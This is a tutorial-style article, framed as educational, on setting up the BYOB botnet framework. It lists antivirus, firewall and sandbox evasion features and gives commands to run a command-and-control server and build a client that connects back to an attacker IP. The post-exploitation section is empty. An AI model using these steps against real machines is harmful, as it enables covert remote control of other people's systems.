Build Your Own Botnet

BYOB (Build Your Own Botnet) is an educational framework designed for security researchers and developers to understand malware behavior and develop countermeasures. This Python-based tool helps create a controlled botnet environment for learning purposes.

Key Features

• Memory-Only Execution − clients never write files to disk, using remote imports to dynamically load code into memory

• Platform Independent − written in Python with optional compilation to portable executables (Windows) or standalone applications

• Firewall Bypass − uses reverse TCP connections that bypass most firewall configurations

• Anti-Virus Evasion − blocks known antivirus processes from spawning during execution

• Payload Encryption − main payload encrypted with random 256-bit key stored only in the payload stager

• Anti-Analysis Protection − detects and aborts execution in virtual machines or sandbox environments

Installation and Setup

Download and Install Dependencies

git clone https://github.com/malwaredllc/byob.git
cd byob
pip install -r requirements.txt
python setup.py

Setting Up Command & Control Server

Start the botnet server in your first terminal ?

python server.py --port 445

Creating Bot Client

In a second terminal, navigate to the BYOB directory and create a bot client ?

cd /home/cybersecurity/Downloads/byob/byob
python client.py --name testbot.py 192.168.1.10 445

Replace 192.168.1.10 with your actual attacker IP address. This generates a testbot.py file that, when executed on a target machine, establishes a session with your command server.

Post-Exploitation Modules

Once a session is established, BYOB provides various modules for reconnaissance and control ?

Important Legal Notice

BYOB is intended exclusively for educational purposes and authorized security testing. Using this tool on systems without explicit permission is illegal and unethical. Always ensure you have proper authorization before conducting any security research.

Conclusion

BYOB provides security researchers with a comprehensive framework to understand botnet mechanics and develop countermeasures. Its modular design and anti-detection features make it valuable for educational cybersecurity research when used responsibly.